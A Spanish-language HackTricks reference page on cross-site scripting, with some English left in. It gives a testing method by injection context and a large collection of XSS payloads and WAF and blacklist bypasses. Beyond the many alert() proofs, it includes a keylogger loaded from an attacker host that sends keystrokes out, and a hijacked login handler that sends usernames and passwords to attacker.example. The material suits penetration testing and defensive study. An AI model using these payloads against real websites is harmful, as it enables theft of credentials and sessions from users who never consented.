%.*s
XSS (Cross Site Scripting)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Metodología
- Comprueba si cualquier valor que controlas (parámetros, path, headers?, cookies?) está siendo reflejado en el HTML o usado por código JS.
- Encuentra el contexto donde se refleja/usa.
- Si está reflejado
- Comprueba qué símbolos puedes usar y según eso, prepara el payload:
- En HTML sin procesar:
- ¿Puedes crear nuevas etiquetas HTML?
- ¿Puedes usar eventos o atributos que soporten el protocolo
javascript:? - ¿Puedes eludir las protecciones?
- ¿El contenido HTML está siendo interpretado por algún motor JS del lado cliente (AngularJS, VueJS, Mavo…), podrías abusar de un Client Side Template Injection.
- Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de un Dangling Markup - HTML scriptless injection?
- Dentro de una etiqueta HTML:
- ¿Puedes salir al contexto de HTML sin procesar?
- ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
- ¿El atributo donde estás atrapado soporta ejecución JS?
- ¿Puedes eludir las protecciones?
- Dentro de JavaScript:
- ¿Puedes escapar la etiqueta
<script>? - ¿Puedes escapar la cadena y ejecutar código JS diferente?
- ¿Tu input está en template literals ``?
- ¿Puedes eludir las protecciones?
- Función de Javascript que se está ejecutando
- Puedes indicar el nombre de la función a ejecutar. p.ej.:
?callback=alert(1) - Si está usado:
- Podrías explotar un DOM XSS, presta atención a cómo se controla tu input y si tu input controlado es usado por algún sink.
Al trabajar en un XSS complejo podría interesarte conocer:
Valores reflejados
Para explotar con éxito un XSS lo primero que necesitas encontrar es un valor controlado por ti que esté siendo reflejado en la página web.
- Reflejado intermitentemente: Si encuentras que el valor de un parámetro o incluso el path se refleja en la página web podrías explotar un Reflected XSS.
- Almacenado y reflejado: Si encuentras que un valor que controlas es guardado en el servidor y se refleja cada vez que accedes a una página podrías explotar un Stored XSS.
- Accedido vía JS: Si encuentras que un valor que controlas está siendo accedido usando JS podrías explotar un DOM XSS.
Contextos
Al intentar explotar un XSS lo primero que debes saber es dónde se refleja tu input. Dependiendo del contexto, podrás ejecutar código JS arbitrario de distintas formas.
HTML sin procesar
Si tu input se refleja en el HTML sin procesar necesitarás abusar de alguna etiqueta HTML para ejecutar código JS: <img , <iframe , <svg , <script … estos son solo algunos de las muchas etiquetas HTML que podrías usar.
También, ten en cuenta Client Side Template Injection.
Dentro de atributos de etiquetas HTML
Si tu input se refleja dentro del valor de un atributo de una etiqueta podrías intentar:
- Escapar del atributo y de la etiqueta (entonces estarás en el HTML sin procesar) y crear una nueva etiqueta HTML para abusar:
"><img [...] - Si puedes escapar del atributo pero no de la etiqueta (
>está codificado o eliminado), dependiendo de la etiqueta podrías crear un evento que ejecute código JS:" autofocus onfocus=alert(1) x=" - Si no puedes escapar del atributo (
"está siendo codificado o eliminado), entonces dependiendo de qué atributo está reflejando tu valor y si controlas todo el valor o solo una parte podrás abusar de él. Por ejemplo, si controlas un evento comoonclick=podrás hacer que ejecute código arbitrario cuando se haga clic. Otro ejemplo interesante es el atributohref, donde puedes usar el protocolojavascript:para ejecutar código arbitrario:href="javascript:alert(1)" - Si tu input se refleja dentro de “etiquetas no explotables” podrías intentar el truco de
accesskeypara abusar de la vuln (necesitarás algo de ingeniería social para explotarlo):" accesskey="x" onclick="alert(1)" x="
XSS solo en atributos en páginas de login detrás de WAFs
Una página de login SSO corporativa reflejaba el parámetro OAuth service dentro del atributo href de <a id="forgot_btn" ...>. Aunque < y > estaban HTML-encoded, las comillas dobles no lo estaban, por lo que el atacante pudo cerrar el atributo y reutilizar el mismo elemento para inyectar handlers como " onfocus="payload" x=".
- Inyectar el handler: Payloads simples como
onclick="print(1)"eran bloqueados, pero el WAF solo inspeccionaba la primera sentencia JavaScript en atributos inline. Prefijar una expresión inofensiva entre paréntesis, seguida de un punto y coma, permitió que el payload real se ejecutara:onfocus="(history.length);malicious_code_here". - Auto-dispararlo: Los navegadores enfocan cualquier elemento cuyo
idcoincida con el fragmento, así que añadir#forgot_btna la URL de exploit fuerza al anchor a recibir focus en la carga y ejecuta el handler sin requerir un clic. - Mantener el stub inline pequeño: El objetivo ya incluía jQuery. El handler solo necesitaba iniciar una petición vía
$.getScript(...)mientras que el keylogger completo residía en el servidor del atacante.
Generar cadenas sin comillas
Las comillas simples se devolvían codificadas en la URL y las comillas dobles escapadas corrompían el atributo, así que el payload generaba cada cadena con String.fromCharCode. Una función auxiliar facilita convertir cualquier URL en códigos de caracteres antes de pegarla en el atributo:
function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))
Un atributo resultante se veía así:
onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"
Por qué esto roba credenciales
El script externo (cargado desde un host controlado por el atacante o Burp Collaborator) registró un controlador en document.onkeypress, almacenó en búfer las pulsaciones de teclas, y cada segundo ejecutaba new Image().src = collaborator_url + keys. Debido a que la XSS solo se dispara para usuarios no autenticados, la acción sensible es el propio formulario de login: el atacante registra nombres de usuario y contraseñas incluso si la víctima nunca pulsa “Login”.
Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Dentro del código JavaScript
En este caso tu entrada se refleja entre <script> [...] </script> tags de una página HTML, dentro de un archivo .js o dentro de un atributo que usa el protocolo javascript::
- Si se refleja entre
<script> [...] </script>tags, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar</script>y escapar de este contexto. Esto funciona porque el navegador primero parseará los tags HTML y luego el contenido, por lo tanto, no notará que tu</script>inyectado está dentro del código HTML. - Si se refleja inside a JS string y el truco anterior no funciona necesitarías exit la string, execute tu código y reconstruct el código JS (si hay algún error, no se ejecutará):
'-alert(1)-'';-alert(1)//\';alert(1)//- Si se refleja dentro de template literals puedes insertar expresiones JS usando la sintaxis
${ ... }:var greetings = `Hello, ${alert(1)}` - Unicode encode funciona para escribir valid javascript code:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting references the opportunity to declarar funciones, variables o clases después de que se usan para que puedas abusar de escenarios donde un XSS está usando variables o funciones no declaradas.
Check the following page for more info:
Javascript Function
Several web pages have endpoints that accept as parameter the name of the function to execute. A common example to see in the wild is something like: ?callback=callbackFunc.
A good way to find out if something given directly by the user is trying to be executed is modifying the param value (for example to ‘Vulnerable’) and looking in the console for errors like:
.png)
In case it’s vulnerable, you could be able to trigger an alert just doing sending the value: ?callback=alert(1). However, it’ very common that this endpoints will validate the content to only allow letters, numbers, dots and underscores ([\w\._]).
However, even with that limitation it’s still possible to perform some actions. This is because you can use that valid chars to access any element in the DOM:
.png)
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
También puedes intentar invocar funciones de Javascript directamente: obj.sales.delOrders.
However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, other pages in the same origin will have a more interesting DOM to perform more actions.
Therefore, in order to abuse this vulnerability in a different DOM the Same Origin Method Execution (SOME) exploitation was developed:
SOME - Same Origin Method Execution
DOM
Hay código JS que está usando de forma insegura algunos datos controlados por un atacante como location.href. Un atacante podría abusar de esto para ejecutar código JS arbitrario.
Universal XSS
Este tipo de XSS puede encontrarse en cualquier lugar. No depende solo de la explotación del cliente de una aplicación web sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript puede incluso ser usado para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.
Algunos ejemplos:
WAF bypass encoding image
.jpg)
Inyección dentro del HTML sin procesar
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
Para estos casos también ten en cuenta Client Side Template Injection.
Nota: Un comentario HTML puede cerrarse usando --> o --!>**
In this case and if no black/whitelisting is used, you could use payloads like:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Pero, si se está usando un black/whitelisting de tags/attributes, necesitarás brute-force qué tags puedes crear.
Una vez que hayas ubicado qué tags están permitidos, tendrás que brute-force attributes/events dentro de los tags válidos encontrados para ver cómo puedes atacar el contexto.
Tags/Events brute-force
Ve a https://portswigger.net/web-security/cross-site-scripting/cheat-sheet y haz clic en Copy tags to clipboard. Luego, envía todos ellos usando Burp intruder y comprueba si algún tag no fue detectado como malicioso por el WAF. Una vez que hayas descubierto qué tags puedes usar, puedes brute-force all the events usando los tags válidos (en la misma web page haz clic en Copy events to clipboard y sigue el mismo procedimiento que antes).
Custom tags
Si no encontraste ningún HTML tag válido, puedes intentar crear un custom tag y ejecutar código JS con el atributo onfocus. En la XSS request, necesitas terminar la URL con # para hacer que la página focus on that object y execute el código:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
Si se está usando algún tipo de blacklist, podrías intentar un bypass con algunos trucos tontos:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Length bypass (XSSs pequeños)
[!NOTE] > Más payloads tiny XSS para diferentes entornos se pueden encontrar aquí y aquí.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
Si para explotar la vulnerabilidad necesitas que el usuario haga clic en un enlace o en un formulario con datos prellenados podrías intentar abuse Clickjacking (si la página es vulnerable).
Imposible - Dangling Markup
Si simplemente piensas que es imposible crear una etiqueta HTML con un atributo que ejecute código JS, deberías revisar Danglig Markup porque podrías explotar la vulnerabilidad sin ejecutar JS code.
Inyectando dentro de la etiqueta HTML
Dentro de la etiqueta/escapando del valor del atributo
Si estás dentro de una etiqueta HTML, lo primero que podrías intentar es escapar de la etiqueta y usar algunas de las técnicas mencionadas en la previous section para ejecutar código JS.
Si no puedes escapar de la etiqueta, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo usando algún payload como (nota que en este ejemplo se usan comillas dobles para escapar del atributo, no las necesitarás si tu input se refleja directamente dentro de la etiqueta):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Eventos de estilo
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Dentro del atributo
Aun si no puedes escapar del atributo (" está siendo codificado o eliminado), dependiendo de en qué atributo se refleja tu valor y si controlas todo el valor o solo una parte podrás abusar de él. Por ejemplo, si controlas un evento como onclick= podrás hacer que ejecute código arbitrario cuando se haga clic en él.
Otro ejemplo interesante es el atributo href, donde puedes usar el protocolo javascript: para ejecutar código arbitrario: href="javascript:alert(1)"
Bypass dentro del evento usando codificación HTML/codificación URL
Los caracteres codificados en HTML dentro del valor de los atributos de las etiquetas HTML se decodifican en tiempo de ejecución. Por lo tanto algo como lo siguiente será válido (la payload está en negrita): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Ten en cuenta que cualquier tipo de codificación HTML es válida:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Tenga en cuenta que URL encode también funcionará:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass dentro del evento usando codificación Unicode
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Protocolos especiales dentro del atributo
Ahí puedes usar los protocolos javascript: o data: en algunos lugares para ejecutar código JS arbitrario. Algunos requerirán interacción del usuario, otros no.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Lugares donde puedes inyectar estos protocolos
En general el protocolo javascript: puede usarse en cualquier etiqueta que acepte el atributo href y en la mayoría de las etiquetas que aceptan el atributo src (pero no <img)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Otros trucos de ofuscación
En este caso, el truco de codificación HTML y el de codificación Unicode de la sección anterior también son válidos, ya que estás dentro de un atributo.
<a href="javascript:var a=''-alert(1)-''">
Además, hay otro truco útil para estos casos: Incluso si tu entrada dentro de javascript:... está siendo URL encoded, será URL decoded antes de que se ejecute. Así que, si necesitas escapar de la cadena usando una comilla simple y ves que está siendo URL encoded, recuerda que no importa, será interpretada como una comilla simple durante el tiempo de ejecución.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Ten en cuenta que si intentas usar ambos URLencode + HTMLencode en cualquier orden para codificar el payload esto no funcionará, pero puedes mezclarlos dentro del payload.
Usando codificación Hex y Octal con javascript:
Puedes usar Hex y Octal encode dentro del atributo src de iframe (al menos) para declarar HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
Si puedes inyectar cualquier URL en una etiqueta arbitraria <a href= que contenga los atributos target="_blank" and rel="opener", consulta la siguiente página para explotar este comportamiento:
Bypass de manejadores de eventos “on”
Primero revisa esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para útiles manejadores de eventos “on”.
En caso de que exista alguna blacklist que te impida crear estos manejadores de eventos, puedes probar los siguientes bypasses:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS en “Unexploitable tags” (hidden input, link, canonical, meta)
Desde here ahora es posible abusar de los hidden inputs con:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
Y en meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Desde here: Puedes ejecutar un XSS payload inside a hidden attribute, siempre que puedas persuadir a la victim para que pulse la key combination. En Firefox Windows/Linux la combinación de teclas es ALT+SHIFT+X y en OS X es CTRL+ALT+X. Puedes especificar una combinación de teclas diferente usando una tecla distinta en el access key attribute. Aquí está el vector:
<input type="hidden" accesskey="X" onclick="alert(1)">
El XSS payload será algo como esto: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Varios trucos usando diferentes encoding ya se expusieron dentro de esta sección. Vuelve atrás para aprender dónde puedes usar:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1) - URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lee la Blacklist Bypasses de la sección anterior.
Bypasses for JavaScript code
Lee la JavaScript bypass blacklist de la sección siguiente.
CSS-Gadgets
Si encuentras un XSS en una parte muy pequeña del sitio (que requiere algún tipo de interacción — quizá un pequeño enlace en el footer con un elemento onmouseover), puedes intentar modificar el espacio que ocupa ese elemento para maximizar las probabilidades de que el enlace se dispare.
Por ejemplo, podrías añadir algo de estilo en el elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Pero, si el WAF está filtrando el atributo style, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo
.test {display:block; color: blue; width: 100%}
y
#someid {top: 0; font-family: Tahoma;}
Ahora puedes modificar nuestro enlace y llevarlo a la forma
<a href=“” id=someid class=test onclick=alert() a=“”>
Este truco fue tomado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
En estos casos tu input va a ser reflected inside the JS code de un archivo .js o entre etiquetas <script>...</script> o dentro de eventos HTML que pueden ejecutar código JS o en atributos que aceptan el protocolo javascript:.
Escaping <script> tag
Si tu código se inserta dentro de <script> [...] var input = 'reflected data' [...] </script> podrías fácilmente escapar cerrando la etiqueta <script>:
</script><img src=1 onerror=alert(document.domain)>
Ten en cuenta que en este ejemplo ni siquiera hemos cerrado la comilla simple. Esto se debe a que el análisis de HTML lo realiza primero el navegador, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts embebidos solo se realiza después.
Dentro del código JS
Si <> están siendo sanitizados, aún puedes escapar la cadena donde tu input se encuentra y ejecutar JS arbitrario. Es importante arreglar la sintaxis de JS, porque si hay cualquier error, el código JS no se ejecutará:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Cuando la entrada del usuario se inserta dentro de una quoted JavaScript string (p. ej., server-side echo into an inline script), puedes terminar la string, inyectar código y reparar la sintaxis para mantener el parsing válido. Esqueleto genérico:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Ejemplo de patrón de URL cuando el parámetro vulnerable se refleja en una cadena JS:
?param=test";<INJECTION>;a="
Esto ejecuta JS del atacante sin necesidad de tocar el contexto HTML (pure JS-in-JS). Combínalo con los blacklist bypasses más abajo cuando los filtros bloqueen keywords.
Template literals ``
Para construir strings, además de las comillas simples y dobles, JS también acepta backticks ``. Esto se conoce como template literals ya que permiten incrustar expresiones JS usando la sintaxis ${ ... }.
Por lo tanto, si detectas que tu input está siendo reflected dentro de una JS string que usa backticks, puedes abusar de la sintaxis ${ ... } para ejecutar arbitrary JS code:
Esto puede ser abusado usando:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Ejecución de código codificado
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Payloads entregables con eval(atob()) y matices de scope
Para mantener las URLs más cortas y eludir filtros ingenuos de palabras clave, puedes codificar en base64 tu lógica real y evaluarla con eval(atob('...')). Si un filtrado simple de palabras clave bloquea identificadores como alert, eval o atob, usa identificadores escapados en Unicode que compilan de forma idéntica en el navegador pero evaden filtros de coincidencia de cadenas:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Matiz importante sobre el alcance: const/let declarados dentro de eval() tienen alcance de bloque y NO crean globals; no serán accesibles para scripts posteriores. Usa un elemento <script> inyectado dinámicamente para definir hooks globales, non-rebindable cuando sea necesario (e.g., to hijack a form handler):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Referencia: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode Encode JS execution
alert(1)
alert(1)
alert(1)
Técnicas de bypass de blacklists en JavaScript
Cadenas
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Escapes especiales
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Sustituciones de espacios dentro del código JS
<TAB>
/**/
JavaScript comments (del JavaScript Comments truco)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
Saltos de línea de JavaScript (del JavaScript new line truco)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript espacios en blanco
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript dentro de un comentario
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sin paréntesis
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Llamada a función arbitraria (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
